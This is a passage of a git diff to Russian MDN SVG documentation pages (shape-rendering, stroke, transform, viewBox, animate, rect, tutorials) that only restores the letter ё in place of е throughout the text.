прямоугольника.</li> </ul> diff --git a/files/ru/web/svg/attribute/shape-rendering/index.html b/files/ru/web/svg/attribute/shape-rendering/index.html index 9110b8ce42..d5b03117ab 100644 --- a/files/ru/web/svg/attribute/shape-rendering/index.html +++ b/files/ru/web/svg/attribute/shape-rendering/index.html @@ -32,13 +32,13 @@ translation_of: Web/SVG/Attribute/shape-rendering <dl> <dt>auto</dt> - <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> <span class="hps">браузер</span> <span class="hps">должен</span> <span class="hps">внести соответствующие</span> <span class="hps">компромиссы</span><span>, чтобы сбалансировать</span> <span class="hps">скорость рендеринга,</span> <span class="hps">четкие края</span> <span class="hps">и</span> <span class="hps">геометрическую</span> <span class="hps">точность</span><span>, но </span><span class="hps">геометрической точности</span> <span class="hps">уделять более пристальное внимание</span><span>, чем</span> <span class="hps">скорости и</span> <span class="hps">четким краями</span><span>.</span></span></dd> + <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> <span class="hps">браузер</span> <span class="hps">должен</span> <span class="hps">внести соответствующие</span> <span class="hps">компромиссы</span><span>, чтобы сбалансировать</span> <span class="hps">скорость рендеринга,</span> <span class="hps">чёткие края</span> <span class="hps">и</span> <span class="hps">геометрическую</span> <span class="hps">точность</span><span>, но </span><span class="hps">геометрической точности</span> <span class="hps">уделять более пристальное внимание</span><span>, чем</span> <span class="hps">скорости и</span> <span class="hps">чётким краями</span><span>.</span></span></dd> <dt>optimizeSpeed</dt> - <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> браузер <span class="hps">должен</span> акцентироваться на <span class="hps">скорость рендеринга, в ущерб</span> <span class="hps">геометрической</span> <span class="hps">точности и</span> <span class="hps">четким краями</span><span>.</span> <span class="hps">Эту опцию</span> также можно<span class="hps"> указывать,</span><span>, чтобы отключить</span> <span class="hps">сглаживание фигур</span><span>.</span></span></dd> + <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> браузер <span class="hps">должен</span> акцентироваться на <span class="hps">скорость рендеринга, в ущерб</span> <span class="hps">геометрической</span> <span class="hps">точности и</span> <span class="hps">чётким краями</span><span>.</span> <span class="hps">Эту опцию</span> также можно<span class="hps"> указывать,</span><span>, чтобы отключить</span> <span class="hps">сглаживание фигур</span><span>.</span></span></dd> <dt>crispEdges</dt> - <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> браузер <span class="hps">должен попытаться</span> акцентировать <span class="hps">на контрасте</span> <span class="hps">чистых</span> <span class="hps">краев</span> рисунков, в ущерб<span class="hps"> скорости</span> <span class="hps">рендеринга</span> <span class="hps">и геометрической</span> <span class="hps">точности.</span> <span class="hps">Для достижения</span> наилучшего результата четкости<span class="hps"> края</span><span>, браузер</span><span class="hps"> может</span> <span class="hps">отключить</span> <span class="hps">сглаживание для</span> <span class="hps">всех</span> <span class="hps">линий и кривых</span> <span class="hps">или, возможно,</span> <span class="hps">только для</span> <span class="hps">прямых</span><span>, близких к</span> <span class="hps">вертикальным или горизонтальным.</span> <span class="hps">Кроме того,</span> <span class="hps">браузер может</span> <span class="hps">скорректировать позиции</span> <span class="hps">строк и</span> <span class="hps">ширину линий</span> <span class="hps">для выравнивания</span> <span class="hps">краев</span> <span class="hps">с</span> <span class="hps">пикселями устройства</span><span>.</span></span></dd> + <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> браузер <span class="hps">должен попытаться</span> акцентировать <span class="hps">на контрасте</span> <span class="hps">чистых</span> <span class="hps">краёв</span> рисунков, в ущерб<span class="hps"> скорости</span> <span class="hps">рендеринга</span> <span class="hps">и геометрической</span> <span class="hps">точности.</span> <span class="hps">Для достижения</span> наилучшего результата чёткости<span class="hps"> края</span><span>, браузер</span><span class="hps"> может</span> <span class="hps">отключить</span> <span class="hps">сглаживание для</span> <span class="hps">всех</span> <span class="hps">линий и кривых</span> <span class="hps">или, возможно,</span> <span class="hps">только для</span> <span class="hps">прямых</span><span>, близких к</span> <span class="hps">вертикальным или горизонтальным.</span> <span class="hps">Кроме того,</span> <span class="hps">браузер может</span> <span class="hps">скорректировать позиции</span> <span class="hps">строк и</span> <span class="hps">ширину линий</span> <span class="hps">для выравнивания</span> <span class="hps">краёв</span> <span class="hps">с</span> <span class="hps">пикселями устройства</span><span>.</span></span></dd> <dt>geometricPrecision</dt> - <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> <span class="hps">браузер</span> <span class="hps">должен</span> акцентировать <span class="hps">геометрическую</span> <span class="hps">точность в ущерб</span> <span class="hps">скорости и</span> <span class="hps">четкими краям</span></span>.</dd> + <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> <span class="hps">браузер</span> <span class="hps">должен</span> акцентировать <span class="hps">геометрическую</span> <span class="hps">точность в ущерб</span> <span class="hps">скорости и</span> <span class="hps">чёткими краям</span></span>.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/svg/attribute/stroke/index.html b/files/ru/web/svg/attribute/stroke/index.html index d6ddd0420a..29332e0327 100644 --- a/files/ru/web/svg/attribute/stroke/index.html +++ b/files/ru/web/svg/attribute/stroke/index.html @@ -39,7 +39,7 @@ translation_of: Web/SVG/Attribute/stroke <h3 id="SVG_Line" name="SVG_Line">SVG Line с stroke</h3> -<h4 id="Пример_1_Нарисуйте_прямую_зеленую_линию_используя_stroke.">Пример 1: Нарисуйте прямую зеленую линию, используя <strong>stroke</strong>.</h4> +<h4 id="Пример_1_Нарисуйте_прямую_зелёную_линию_используя_stroke.">Пример 1: Нарисуйте прямую зелёную линию, используя <strong>stroke</strong>.</h4> <pre class="brush: html"><svg height="50" width="300"> <path stroke="green" d="M5 20 1215 0" /> @@ -47,7 +47,7 @@ translation_of: Web/SVG/Attribute/stroke <p>{{EmbedLiveSample('Example1_Draw_straight_green_line_using_stroke.', '300', '50', '', 'Web/SVG/Attribute/stroke')}}</p> -<h4 id="Пример_2_Нарисуйте_черный_круг_с_синей_рамкой_используя_stroke.">Пример 2: Нарисуйте черный круг с синей рамкой используя stroke.</h4> +<h4 id="Пример_2_Нарисуйте_чёрный_круг_с_синей_рамкой_используя_stroke.">Пример 2: Нарисуйте чёрный круг с синей рамкой используя stroke.</h4> <pre class="brush: html"><svg height="100" width="100"> <circle cx="50" cy="50" r="40" stroke="blue" stroke-width="2" fill="black" /> diff --git a/files/ru/web/svg/attribute/text-anchor/index.html b/files/ru/web/svg/attribute/text-anchor/index.html index 9ffcbe7be3..d974c6e812 100644 --- a/files/ru/web/svg/attribute/text-anchor/index.html +++ b/files/ru/web/svg/attribute/text-anchor/index.html @@ -51,7 +51,7 @@ translation_of: Web/SVG/Attribute/text-anchor правому выравниванию. Для шрифтов которые по определению справа налево такие как Иврит и Арабский это эквивалентно левому выравниванию.</dd> <dt>Примечание</dt> <dd>В <strong>IE</strong>-11 атрибут <code><strong>text-anchor</strong></code> не имеет эффекта при привязке текста к заданному пути <strong><code>path</code></strong> посредством тега <code><strong>textPath</strong></code>.<br> - В приведенном ниже примере тег <strong><code>path</code></strong> использовался только лишь для отрисовки линий и с расположением текста никак не связан.</dd> + В приведённом ниже примере тег <strong><code>path</code></strong> использовался только лишь для отрисовки линий и с расположением текста никак не связан.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/svg/attribute/transform/index.html b/files/ru/web/svg/attribute/transform/index.html index c202361239..944d0b51b0 100644 --- a/files/ru/web/svg/attribute/transform/index.html +++ b/files/ru/web/svg/attribute/transform/index.html @@ -71,7 +71,7 @@ translation_of: Web/SVG/Attribute/transform <!-- Это элемент до применения переноса и поворота --> <rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2"<strong> </strong>fill-opacity=0.2 stroke-opacity=0.2></rect> - <!-- Здесь мы добавим текстовый элемент, повернем и перенесем оба элемента --> + <!-- Здесь мы добавим текстовый элемент, повернём и перенесём оба элемента --> <rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2"<strong> transform="translate(30) rotate(45 50 50)"</strong>></rect> <text x="60" y="105" <strong>transform="translate(30) rotate(45 50 50)"</strong>> Hello Moz! </text> diff --git a/files/ru/web/svg/attribute/values/index.html b/files/ru/web/svg/attribute/values/index.html index 72929084aa..d0544c82b8 100644 --- a/files/ru/web/svg/attribute/values/index.html +++ b/files/ru/web/svg/attribute/values/index.html @@ -7,12 +7,12 @@ translation_of: Web/SVG/Attribute/values <p>Атрибут <code>values</code> имеет два значения в зависимости от используемого контекста.</p> -<p>Для элементов анимации атрибут <code>values</code> представляет собой разделенный точками с запятой список одного или нескольких значений. В анимации будут применены значения в порядке следования анимации. Если задан список <code>values</code>, значения атрибутов {{ SVGAttr("from") }}, {{ SVGAttr("to") }} и {{ SVGAttr("by") }} игнорируются.</p> +<p>Для элементов анимации атрибут <code>values</code> представляет собой разделённый точками с запятой список одного или нескольких значений. В анимации будут применены значения в порядке следования анимации. Если задан список <code>values</code>, значения атрибутов {{ SVGAttr("from") }}, {{ SVGAttr("to") }} и {{ SVGAttr("by") }} игнорируются.</p> <p>Для элемента {{ SVGElement("feColorMatrix") }} содержимое <code>values</code> зависит от значения атрибута {{ SVGAttr("type") }}:</p> <ul> - <li>Для <code>type="matrix"</code>, <code>values</code> — это список из 20 значений матрицы (А00 А01 А02 А03 А04 A10 А11... А34), разделенных пробелами и/или запятой.</li> + <li>Для <code>type="matrix"</code>, <code>values</code> — это список из 20 значений матрицы (А00 А01 А02 А03 А04 A10 А11... А34), разделённых пробелами и/или запятой.</li> <li>Для <code>type="saturate"</code>, <code>values</code> — это единственное вещественное число (от 0 до 1).</li> <li>Для <code>type="hueRotate"</code>, <code>values</code> — это одно вещественное число (градусов).</li> <li>Для <code>type="luminanceToAlpha"</code>, <code>values</code> не применимы.</li> diff --git a/files/ru/web/svg/attribute/viewbox/index.html b/files/ru/web/svg/attribute/viewbox/index.html index 1433367c9d..a3ad81efdb 100644 --- a/files/ru/web/svg/attribute/viewbox/index.html +++ b/files/ru/web/svg/attribute/viewbox/index.html @@ -9,7 +9,7 @@ translation_of: Web/SVG/Attribute/viewBox <p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Аттрибут </span></font>viewBox</code> определяет расположение и размеры окна отображения SVG.</p> -<p>Значение атрибута <code>viewBox</code> — это набор четырех чисел: <code>min-x</code>, <code>min-y</code>, <code>width</code> и <code>height</code>, — разделённых пробелами и/или запятой, которые задают прямоугольник в пользовательском пространстве, стороны которого определяют границы окна отображения элемента SVG (не <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Viewport">браузера</a>).</p> +<p>Значение атрибута <code>viewBox</code> — это набор четырёх чисел: <code>min-x</code>, <code>min-y</code>, <code>width</code> и <code>height</code>, — разделённых пробелами и/или запятой, которые задают прямоугольник в пользовательском пространстве, стороны которого определяют границы окна отображения элемента SVG (не <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Viewport">браузера</a>).</p> <div class="hidden"> <pre class="notranslate">html, body, svg { diff --git a/files/ru/web/svg/element/animate/index.html b/files/ru/web/svg/element/animate/index.html index 834677e633..0e6bda67b7 100644 --- a/files/ru/web/svg/element/animate/index.html +++ b/files/ru/web/svg/element/animate/index.html @@ -11,7 +11,7 @@ original_slug: Web/SVG/Элемент/animate --- <div>{{SVGRef}}</div> -<p> Тег <animate> может быть помещен внутри какой-то фигуры, например, <circle> . Он задает анимацию атрибута фигуры. Указанный атрибут будет изменяться со стартового значения и до конечного значения с определенным интервалом.</p> +<p> Тег <animate> может быть помещён внутри какой-то фигуры, например, <circle> . Он задаёт анимацию атрибута фигуры. Указанный атрибут будет изменяться со стартового значения и до конечного значения с определённым интервалом.</p> <h2 id="Использование">Использование</h2> diff --git a/files/ru/web/svg/element/animatemotion/index.html b/files/ru/web/svg/element/animatemotion/index.html index 9a99ec4c5a..c585368d3c 100644 --- a/files/ru/web/svg/element/animatemotion/index.html +++ b/files/ru/web/svg/element/animatemotion/index.html @@ -102,7 +102,7 @@ original_slug: Web/SVG/Элемент/animateMotion <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("svg.elements.animateMotion")}}</p> diff --git a/files/ru/web/svg/element/feblend/index.html b/files/ru/web/svg/element/feblend/index.html index a131dd6aa6..371ca3dab7 100644 --- a/files/ru/web/svg/element/feblend/index.html +++ b/files/ru/web/svg/element/feblend/index.html @@ -8,7 +8,7 @@ original_slug: Web/SVG/Элемент/feBlend --- <div>{{SVGRef}}</div> -<p><a href="/en-US/docs/Web/SVG">SVG </a>фильтр примитивна <strong><code><feBlend></code></strong> объединяет два объекта, управляемых определенным режимом смешивания. Это похоже на работу программного обеспечения для редактирования изображений при смешивании двух слоев. Режим определяется атрибутом {{SVGAttr("mode")}}.</p> +<p><a href="/en-US/docs/Web/SVG">SVG </a>фильтр примитивна <strong><code><feBlend></code></strong> объединяет два объекта, управляемых определённым режимом смешивания. Это похоже на работу программного обеспечения для редактирования изображений при смешивании двух слоёв. Режим определяется атрибутом {{SVGAttr("mode")}}.</p> <h2 id="Используемый_контекст">Используемый контекст</h2> diff --git a/files/ru/web/svg/element/foreignobject/index.html b/files/ru/web/svg/element/foreignobject/index.html index d247cea432..a48e75e668 100644 --- a/files/ru/web/svg/element/foreignobject/index.html +++ b/files/ru/web/svg/element/foreignobject/index.html @@ -5,7 +5,7 @@ translation_of: Web/SVG/Element/foreignObject original_slug: Web/SVG/Элемент/foreignObject --- <div>{{SVGRef}}<br> -Элемент <strong><code><foreignObject></code></strong> <a href="/en-US/docs/Web/SVG">SVG</a> позволяет включать другое пространство имен XML.<br> +Элемент <strong><code><foreignObject></code></strong> <a href="/en-US/docs/Web/SVG">SVG</a> позволяет включать другое пространство имён XML.<br> В контексте браузера это, скорее всего, XHTML / HTML.</div> <div id="Exemple"> @@ -30,7 +30,7 @@ original_slug: Web/SVG/Элемент/foreignObject <!-- Типичный пример использования: встраивание HTML-текста в SVG --> <foreignObject x="20" y="20" width="160" height="160"> <!-- -В контексте SVG, внедренного в HTML, пространство имен XHTML может и следует избегать, +В контексте SVG, внедрённого в HTML, пространство имён XHTML может и следует избегать, но это обязательно в контексте документа SVG --> <div xmlns="http://www.w3.org/1999/xhtml"> diff --git a/files/ru/web/svg/element/rect/index.html b/files/ru/web/svg/element/rect/index.html index 0fdc102ad9..1e76b55a6a 100644 --- a/files/ru/web/svg/element/rect/index.html +++ b/files/ru/web/svg/element/rect/index.html @@ -9,7 +9,7 @@ original_slug: Web/SVG/Элемент/rect --- <div>{{SVGRef}}</div> -<p><code><rect></code> - это базовая SVG фигура, используется для отрисовки прямоугольников по координатам угла, длины и высоты прямоугольника. Также может использоваться для отрисовки прямоугольников со скругленными углами.</p> +<p><code><rect></code> - это базовая SVG фигура, используется для отрисовки прямоугольников по координатам угла, длины и высоты прямоугольника. Также может использоваться для отрисовки прямоугольников со скруглёнными углами.</p> <h2 id="Контекст_использования">Контекст использования</h2> @@ -20,7 +20,7 @@ original_slug: Web/SVG/Элемент/rect <td>Простая фигура, Графический элемент</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Любое количество указанных элементов в любом порядке:<br> <a href="/en/SVG/Element#Animation" title="en/SVG/Attribute#Animation">Элементы анимации</a> »<br> <a href="/en/SVG/Element#Descriptive" title="en/SVG/Attribute#Descriptive">Элементы описания</a> »</td> @@ -50,7 +50,7 @@ original_slug: Web/SVG/Элемент/rect <p>» <a href="https://mdn.mozillademos.org/files/8893/rect-1.svg" title="https://developer.mozilla.org/files/3247/rect-1.svg">rect-1.svg</a></p> -<h3 id="<rect>_со_скругленными_углами"><code><rect></code> со скругленными углами</h3> +<h3 id="<rect>_со_скруглёнными_углами"><code><rect></code> со скруглёнными углами</h3> <p> </p> diff --git a/files/ru/web/svg/element/text/index.html b/files/ru/web/svg/element/text/index.html index ffb6583fb6..e7cc42214d 100644 --- a/files/ru/web/svg/element/text/index.html +++ b/files/ru/web/svg/element/text/index.html @@ -27,7 +27,7 @@ original_slug: Web/SVG/Элемент/<text> .small { font: italic 13px sans-serif; } .heavy { font: bold 30px sans-serif; } - /* Обратите внимание, что цвет текста задается с помощью * + /* Обратите внимание, что цвет текста задаётся с помощью * * fill свойства, а свойство color используется только для HTML */ .Rrrrr { font: italic 40px serif; fill: red; } </style> @@ -195,7 +195,7 @@ original_slug: Web/SVG/Элемент/<text> <h2 id="Совместимость_с_браузером">Совместимость с браузером</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("svg.elements.text")}}</p> diff --git a/files/ru/web/svg/element/use/index.html b/files/ru/web/svg/element/use/index.html index 39e26289f3..1efa68b4e0 100644 --- a/files/ru/web/svg/element/use/index.html +++ b/files/ru/web/svg/element/use/index.html @@ -43,7 +43,7 @@ original_slug: Web/SVG/Элемент/use По соображениям безопасности, браузеры могут применять <a href="/en-US/docs/Web/Security/Same-origin_policy">правило ограничения домена</a> для элементов <code>use</code> и могут отказаться загружать URL другого источника в атрибуте {{SVGAttr("href")}}.</p> <div class="warning"> -<p>Начиная с SVG 2, атрибут {{SVGAttr("xlink:href")}} получил статус "Устарело" в пользу {{SVGAttr("href")}}. Дополнительную информацию ищите на странице {{SVGAttr("xlink:href")}}. Тем не менее, на практике всё еще может быть потребность в использовании {{SVGAttr("xlink:href")}} для кроссбраузерной совместимости (смотрите <a href="#browser-compatibility">таблицу совместимости</a> ниже).</p> +<p>Начиная с SVG 2, атрибут {{SVGAttr("xlink:href")}} получил статус "Устарело" в пользу {{SVGAttr("href")}}. Дополнительную информацию ищите на странице {{SVGAttr("xlink:href")}}. Тем не менее, на практике всё ещё может быть потребность в использовании {{SVGAttr("xlink:href")}} для кроссбраузерной совместимости (смотрите <a href="#browser-compatibility">таблицу совместимости</a> ниже).</p> </div> <h2 id="Атрибуты">Атрибуты</h2> diff --git a/files/ru/web/svg/svg_1.1_support_in_firefox/index.html b/files/ru/web/svg/svg_1.1_support_in_firefox/index.html index b552e8a208..0cf6a5ef86 100644 --- a/files/ru/web/svg/svg_1.1_support_in_firefox/index.html +++ b/files/ru/web/svg/svg_1.1_support_in_firefox/index.html @@ -97,7 +97,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox <ul> <li>Выполнена.</li> <li>Не полностью соблюдает <svg:use> каскадные правила ({{Bug(265894)}}).</li> - <li>Не передает события в дерево SVGElementInstance ({{Bug(265895)}}).</li> + <li>Не передаёт события в дерево SVGElementInstance ({{Bug(265895)}}).</li> </ul> </td> </tr> @@ -238,7 +238,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox <td style="background-color: rgb(204, 204, 204);"><a href="https://www.w3.org/TR/SVG11/text.html#TRefElement">tref</a></td> <td style="background-color: rgb(204, 204, 204);"> <ul> - <li>Эта функция, представленная в раннем проекте спецификации, была удалена из нее и поэтому не реализована ({{Bug(273171)}}).</li> + <li>Эта функция, представленная в раннем проекте спецификации, была удалена из неё и поэтому не реализована ({{Bug(273171)}}).</li> </ul> </td> </tr> @@ -376,7 +376,7 @@ translation_of: Web/SVG/SVG_1.1_Support_in_Firefox <li>Выполнена.</li> <li>Из псевдо-входов:<br> <code>SourceGraphic</code>, <code>SourceAlpha</code>, <code>FillPaint</code> {{gecko_minversion_inline("17")}} и <code>StrokePaint</code> {{gecko_minversion_inline("17")}} - реализованы.</li> - <li>Использование нереализованного псевдо-входного или фильтрующего элемента приведет к игнорированию фильтра и рисованию обратного графика без какого-либо фильтра.</li> + <li>Использование нереализованного псевдо-входного или фильтрующего элемента приведёт к игнорированию фильтра и рисованию обратного графика без какого-либо фильтра.</li> </ul> </td> </tr> diff --git a/files/ru/web/svg/tutorial/basic_shapes/index.html b/files/ru/web/svg/tutorial/basic_shapes/index.html index 290e5af23d..882ce4142f 100644 --- a/files/ru/web/svg/tutorial/basic_shapes/index.html +++ b/files/ru/web/svg/tutorial/basic_shapes/index.html @@ -111,7 +111,7 @@ original_slug: Web/SVG/Tutorial/Основные_Фигуры <h3 id="Polyline" name="Polyline">Ломаная линия</h3> -<p>Элемент <a href="/en-US/Web/SVG/Element/polyline" title="en-US/Web/SVG/Element/polyline">polyline</a> воспроизводит группу соединенных прямых линий. Поскольку этот список может быть довольно длинным, все точки включены в один атрибут:</p> +<p>Элемент <a href="/en-US/Web/SVG/Element/polyline" title="en-US/Web/SVG/Element/polyline">polyline</a> воспроизводит группу соединённых прямых линий. Поскольку этот список может быть довольно длинным, все точки включены в один атрибут:</p> <pre class="brush:xml;gutter:false;"><polyline points="60 110, 65 120, 70 115, 75 130, 80 125, 85 140, 90 135, 95 150, 100 145"/></pre> @@ -133,7 +133,7 @@ original_slug: Web/SVG/Tutorial/Основные_Фигуры <h3 id="Path" name="Path">Путь</h3> -<p><a href="/en-US/Web/SVG/Element/path" title="en-US/Web/SVG/Element/path">Path</a>, вероятно, наиболее общая форма, которую можно использовать в SVG. Используя элемент path вы можете рисовать прямоугольники (с закругленными углами или без), окружности, эллипсы, ломанные линии и многоугольники; и по существу любые другие типы форм: кривые Безье, квадратические кривые и многое другое. По этой причине элемент path будет рассмотрен отдельно <a href="/en-US/Web/SVG/Tutorial/Paths" title="en-US/Web/SVG/Tutorial/Paths">в следующей секции</a> этого руководства, но сейчас отметим только, что существует единственный атрибут для контроля его формы.</p> +<p><a href="/en-US/Web/SVG/Element/path" title="en-US/Web/SVG/Element/path">Path</a>, вероятно, наиболее общая форма, которую можно использовать в SVG. Используя элемент path вы можете рисовать прямоугольники (с закруглёнными углами или без), окружности, эллипсы, ломанные линии и многоугольники; и по существу любые другие типы форм: кривые Безье, квадратические кривые и многое другое. По этой причине элемент path будет рассмотрен отдельно <a href="/en-US/Web/SVG/Tutorial/Paths" title="en-US/Web/SVG/Tutorial/Paths">в следующей секции</a> этого руководства, но сейчас отметим только, что существует единственный атрибут для контроля его формы.</p> <pre class="brush:xml;gutter:false;"><path d="M 20 230 Q 40 205, 50 230 T 90230"/></pre> diff --git a/files/ru/web/svg/tutorial/basic_transformations/index.html b/files/ru/web/svg/tutorial/basic_transformations/index.html index 698933241a..634ef93da3 100644 --- a/files/ru/web/svg/tutorial/basic_transformations/index.html +++ b/files/ru/web/svg/tutorial/basic_transformations/index.html @@ -24,14 +24,14 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <h2 id="Перемещения">Перемещения</h2> -<p>Иногда необходимо сместить элемент, хотя вы спозиционировали его согласно определенным атрибутам. Для этого используется <code>translate()</code>.</p> +<p>Иногда необходимо сместить элемент, хотя вы спозиционировали его согласно определённым атрибутам. Для этого используется <code>translate()</code>.</p> <pre class="brush: html notranslate"><svg width="40" height="50" style="background-color:#bff;"> <rect x="0" y="0" width="10" height="10" transform="translate(30,40)" /> </svg> </pre> -<p>Пример генерирует прямоугольник, перемещенный в точку (30,40) вместо точки (0,0).</p> +<p>Пример генерирует прямоугольник, перемещённый в точку (30,40) вместо точки (0,0).</p> <p>{{ EmbedLiveSample('Translation', '40', '50', '', 'Web/SVG/Tutorial/Basic_Transformations') }}</p> @@ -46,7 +46,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования </svg> </pre> -<p>Данный пример показывает квадрат который повернули на 45 градусов. Значение для <code>rotate()</code> задается в градусах.</p> +<p>Данный пример показывает квадрат который повернули на 45 градусов. Значение для <code>rotate()</code> задаётся в градусах.</p> <p>{{ EmbedLiveSample('Rotation', '31', '31', '', 'Web/SVG/Tutorial/Basic_Transformations') }}</p> @@ -60,7 +60,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <h2 id="Комплексные_перемещения_с_matrix"><strong id="docs-internal-guid-68ee5272-9619-cb26-01de-19a4df728cd5">Комплексные перемещения с <code>matrix()</code></strong></h2> -<p>Все приведенные выше преобразования могут быть описаны с помощью матрицы перемещений 2x3. Чтобы объединить несколько перемещений, можно установить результирующую матрицу с помощью <code>matrix(a, b, c, d, e, f)</code>, которая преобразует координаты из предыдущей системы координат в новую систему координат посредством:</p> +<p>Все приведённые выше преобразования могут быть описаны с помощью матрицы перемещений 2x3. Чтобы объединить несколько перемещений, можно установить результирующую матрицу с помощью <code>matrix(a, b, c, d, e, f)</code>, которая преобразует координаты из предыдущей системы координат в новую систему координат посредством:</p> <p><math display="block"><semantics><mrow><mo>{</mo><mtable rowspacing="0.5ex"><mtr><mtd><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>new</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>=</mo><mi>a</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>c</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>e</mi></mtd></mtr><mtr><mtd><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>new</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>=</mo><mi>b</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>d</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>f</mi></mtd></mtr></mtable></mrow><annotation encoding="TeX">\left\{ \begin{matrix} x_{\mathrm{prevCoordSys}} = a x_{\mathrm{newCoordSys}} + c y_{\mathrm{newCoordSys}} + e \\ y_{\mathrm{prevCoordSys}} = b x_{\mathrm{newCoordSys}} + d y_{\mathrm{newCoordSys}} + f \end{matrix} \right. </annotation></semantics></math></p> @@ -68,7 +68,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <h2 id="Эффекты_на_системе_координат">Эффекты на системе координат</h2> -<p>В случае использования преобразований вы устанавливаете новую систему координат внутри элемента, к которому применяются изменения. Это означает, что единицы измерения которые вы определяете и его дочерние еи не будут соответствовать 1:1, но также будут искажены, повернуты, перемещены и смаштабированы в соответствии с преобразованиями.</p> +<p>В случае использования преобразований вы устанавливаете новую систему координат внутри элемента, к которому применяются изменения. Это означает, что единицы измерения которые вы определяете и его дочерние еи не будут соответствовать 1:1, но также будут искажены, повёрнуты, перемещены и смаштабированы в соответствии с преобразованиями.</p> <pre class="brush: html notranslate"><svg width="100" height="100"> <g transform="scale(2)"> diff --git a/files/ru/web/svg/tutorial/clipping_and_masking/index.html b/files/ru/web/svg/tutorial/clipping_and_masking/index.html index f5d2198fc8..c87cfa7287 100644 --- a/files/ru/web/svg/tutorial/clipping_and_masking/index.html +++ b/files/ru/web/svg/tutorial/clipping_and_masking/index.html @@ -8,7 +8,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking <p> </p> -<p>На первый взгляд, странно стирать то, что было только что нарисовано. Но когда вы попытаетесь создать полукруг в SVG, то сразу столкнетесь со следующими свойствами.<br> +<p>На первый взгляд, странно стирать то, что было только что нарисовано. Но когда вы попытаетесь создать полукруг в SVG, то сразу столкнётесь со следующими свойствами.<br> <br> <strong>Обрезка (Clipping) </strong>позволяет скрыть часть одного или нескольких элементов, используя другой. В этом случае нельзя настроить прозрачность элемента, это подход «все или ничего».<br> <br> @@ -29,7 +29,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking </svg> </pre> -<p>По центру (100,100) нарисован круг с радиусом 100. Атрибут<code> clip-path</code> ссылается на элемент <code>{{ SVGElement("clipPath") }}</code>, который содержит элемент <code>rect</code>. Этот прямоугольник позволит отрисовать верхнюю половину черного холста. Обратите внимание, что элемент <code>clipPath</code> обычно помещается в раздел <code>defs</code>.<br> +<p>По центру (100,100) нарисован круг с радиусом 100. Атрибут<code> clip-path</code> ссылается на элемент <code>{{ SVGElement("clipPath") }}</code>, который содержит элемент <code>rect</code>. Этот прямоугольник позволит отрисовать верхнюю половину чёрного холста. Обратите внимание, что элемент <code>clipPath</code> обычно помещается в раздел <code>defs</code>.<br> <br> При этом сам прямоугольник отрисован не будет. Вместо этого 